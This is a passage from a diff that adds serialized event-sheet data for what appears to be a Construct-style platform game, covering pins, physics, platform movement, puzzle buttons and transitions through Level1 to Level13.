+ 4,
+ 394
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 397,
+ 46,
+ "Pin",
+ 969903209382874,
+ false,
+ [
+ [
+ 4,
+ 396
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 399,
+ 46,
+ "Pin",
+ 345331147523566,
+ false,
+ [
+ [
+ 4,
+ 398
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 403,
+ 46,
+ "Pin",
+ 249010758102515,
+ false,
+ [
+ [
+ 4,
+ 386
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 411,
+ 46,
+ "Pin",
+ 101553529745439,
+ false,
+ [
+ [
+ 4,
+ 409
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 410,
+ 102,
+ "Physics",
+ 568962972543452,
+ false,
+ [
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ],
+ [
+ 4,
+ 409
+ ]
+ ]
+ ],
+ [
+ 412,
+ 102,
+ "Physics",
+ 678116952064442,
+ false,
+ [
+ [
+ 7,
+ [
+ 0,
+ 2
+ ]
+ ],
+ [
+ 4,
+ 409
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 609964738801587,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 258027992237953,
+ [
+ [
+ 375,
+ 64,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 534497633435825,
+ false,
+ [
+ [
+ 10,
+ 0
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 375,
+ 51,
+ null,
+ 145227023200651,
+ false,
+ [
+ [
+ 0,
+ [
+ 5,
+ [
+ 20,
+ 375,
+ 52,
+ false,
+ null
+ ],
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 375,
+ 30,
+ null,
+ 966812926151196,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "left"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 362332892441527,
+ [
+ [
+ 375,
+ 64,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 566132167527506,
+ false,
+ [
+ [
+ 10,
+ 0
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 375,
+ 51,
+ null,
+ 300152055262562,
+ false,
+ [
+ [
+ 0,
+ [
+ 4,
+ [
+ 20,
+ 375,
+ 52,
+ false,
+ null
+ ],
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 375,
+ 30,
+ null,
+ 746470675380668,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "right"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 309222955671101,
+ [
+ [
+ 375,
+ 66,
+ null,
+ 0,
+ false,
+ false,
+ true,
+ 878500468644942,
+ false,
+ [
+ [
+ 4,
+ 376
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 375,
+ 48,
+ null,
+ 611305779733663,
+ false,
+ [
+ [
+ 10,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 320604447608463,
+ [
+ [
+ 375,
+ 66,
+ null,
+ 0,
+ false,
+ false,
+ true,
+ 108325544336278,
+ false,
+ [
+ [
+ 4,
+ 377
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 375,
+ 48,
+ null,
+ 136314614797027,
+ false,
+ [
+ [
+ 10,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 569461975337812,
+ [
+ [
+ -1,
+ 60,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 974323791874456,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.2
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 375,
+ 61,
+ "Platform",
+ 160602980588500,
+ false,
+ [
+ [
+ 3,
+ 2
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 871257621555691,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 136764540816535,
+ false,
+ [
+ [
+ 4,
+ 378
+ ]
+ ]
+ ],
+ [
+ 324,
+ 88,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 582085127654230,
+ false
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 341599766824075,
+ false
+ ]
+ ],
+ [
+ [
+ 324,
+ 67,
+ "Platform",
+ 513386321309806,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -400
+ ]
+ ]
+ ]
+ ],
+ [
+ 375,
+ 50,
+ null,
+ 120025001737752,
+ false
+ ],
+ [
+ 378,
+ 50,
+ null,
+ 212176793453899,
+ false
+ ],
+ [
+ 379,
+ 50,
+ null,
+ 625805542825505,
+ false
+ ],
+ [
+ 375,
+ 90,
+ null,
+ 842528892959223,
+ false,
+ [
+ [
+ 4,
+ 380
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 321787472620896,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 273588006159771,
+ false,
+ [
+ [
+ 4,
+ 379
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 238359714029333,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 387102410741657,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 90,
+ null,
+ 216998499257783,
+ false,
+ [
+ [
+ 4,
+ 388
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 99,
+ null,
+ 874599408384947,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 47,
+ "Sine",
+ 679217188065029,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 324,
+ 67,
+ "Platform",
+ 986406138558363,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -400
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 955564927350858,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 1.5
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 47,
+ "Sine",
+ 624312842397772,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 324,
+ 100,
+ null,
+ 804922523379875,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 100
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 424704568108247,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 600106200677124,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 219142252458405,
+ false,
+ [
+ [
+ 4,
+ 413
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 698823455221466,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 624148306618404,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 90,
+ null,
+ 922270046927984,
+ false,
+ [
+ [
+ 4,
+ 388
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 99,
+ null,
+ 267809398261966,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 47,
+ "Sine",
+ 405835807952382,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 324,
+ 67,
+ "Platform",
+ 101618085719745,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -400
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 699708331141968,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 1.5
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 47,
+ "Sine",
+ 515301457986411,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 324,
+ 100,
+ null,
+ 658005848398899,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 100
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 708620749106782,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 632974446089616,
+ [
+ [
+ 380,
+ 89,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 176805175619646,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "Default"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 380,
+ 50,
+ null,
+ 574636005288100,
+ false
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 299422449711094,
+ [
+ [
+ 388,
+ 89,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 127952846021874,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "Default"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 388,
+ 50,
+ null,
+ 700518994238106,
+ false
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 802802369764149,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 505802509249883,
+ false,
+ [
+ [
+ 4,
+ 400
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 420188613035419,
+ false,
+ [
+ [
+ 11,
+ "puzzle1"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 400,
+ 30,
+ null,
+ 923898671304451,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "button"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 127923016804325,
+ [
+ [
+ 396,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 803950885423379,
+ false,
+ [
+ [
+ 4,
+ 400
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 572840454077809,
+ false,
+ [
+ [
+ 11,
+ "puzzle1"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 400,
+ 30,
+ null,
+ 238465253562665,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "button"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 179214462455174,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 566367892051784,
+ false,
+ [
+ [
+ 4,
+ 400
+ ]
+ ]
+ ],
+ [
+ 396,
+ 62,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 458271186750941,
+ false,
+ [
+ [
+ 4,
+ 400
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 487592178427612,
+ false,
+ [
+ [
+ 11,
+ "puzzle1"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 400,
+ 30,
+ null,
+ 642556878316761,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "buttoff"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 531099108571457,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 347460951459301,
+ false,
+ [
+ [
+ 7,
+ [
+ 20,
+ 401,
+ 73,
+ false,
+ null
+ ]
+ ],
+ [
+ 8,
+ 2
+ ],
+ [
+ 7,
+ [
+ 0,
+ 359
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 875945338427488,
+ false,
+ [
+ [
+ 11,
+ "puzzle1"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 401,
+ 72,
+ null,
+ 512133069305203,
+ false,
+ [
+ [
+ 0,
+ [
+ 4,
+ [
+ 20,
+ 401,
+ 73,
+ false,
+ null
+ ],
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 711958342156133,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 859157758100451,
+ false,
+ [
+ [
+ 7,
+ [
+ 20,
+ 401,
+ 73,
+ false,
+ null
+ ]
+ ],
+ [
+ 8,
+ 4
+ ],
+ [
+ 7,
+ [
+ 1,
+ 269.9
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 407609892111552,
+ false,
+ [
+ [
+ 11,
+ "puzzle1"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 401,
+ 72,
+ null,
+ 869686002732955,
+ false,
+ [
+ [
+ 0,
+ [
+ 4,
+ [
+ 20,
+ 401,
+ 73,
+ false,
+ null
+ ],
+ [
+ 0,
+ -1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 915220535718999,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 353643046306319,
+ false,
+ [
+ [
+ 11,
+ "puzzle1"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 481932249188974,
+ false,
+ [
+ [
+ 7,
+ [
+ 20,
+ 402,
+ 73,
+ false,
+ null
+ ]
+ ],
+ [
+ 8,
+ 4
+ ],
+ [
+ 7,
+ [
+ 0,
+ 181
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 402,
+ 72,
+ null,
+ 270755542249343,
+ false,
+ [
+ [
+ 0,
+ [
+ 5,
+ [
+ 20,
+ 402,
+ 73,
+ false,
+ null
+ ],
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 852126470151114,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 505013184514161,
+ false,
+ [
+ [
+ 7,
+ [
+ 20,
+ 402,
+ 73,
+ false,
+ null
+ ]
+ ],
+ [
+ 8,
+ 2
+ ],
+ [
+ 7,
+ [
+ 1,
+ 269.9
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 872756843668393,
+ false,
+ [
+ [
+ 11,
+ "puzzle1"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 402,
+ 72,
+ null,
+ 431468411979700,
+ false,
+ [
+ [
+ 0,
+ [
+ 4,
+ [
+ 20,
+ 402,
+ 73,
+ false,
+ null
+ ],
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 550088368782990,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 989992164334399,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level1"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 437092302715392,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 195591320947854,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 177474765568885,
+ false,
+ [
+ [
+ 6,
+ "Level2"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 966550590425315,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 451707411689946,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level2"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 442453348236932,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 503103821279459,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 701367973824374,
+ false,
+ [
+ [
+ 6,
+ "Level3"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 127424081815351,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 619891627528447,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level3"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 642142680567776,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 709719502630922,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 707142986385120,
+ false,
+ [
+ [
+ 6,
+ "Level4"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 437432419846065,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 598280025437505,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level4"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 434596136616966,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 708808428854258,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 856853226584631,
+ false,
+ [
+ [
+ 6,
+ "Level5"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 346837284147758,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 779351241302011,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level5"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 876339510289573,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 861882526340424,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 911312436241880,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 744802485755494,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level6"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 409310996115113,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 357574243955546,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 885614702644131,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 865973018482612,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level7"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 653425401782338,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 924756415132980,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 449898424749164,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 751299342535738,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level8"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 571502705322874,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 535142195043355,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 568920672673705,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 453838779409330,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level9"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 625888439875284,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 402908136026285,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 924865530628775,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 705570659816690,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level10"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 621913376112634,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 608624138801185,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 944724309606318,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 782759600941455,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level11"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 613870860192900,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 756658564691103,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 160487652144501,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 262928668179763,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level12"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 757970299561652,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 633752079199138,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 385836712387467,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 284358870034746,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level13"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 546842133329881,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
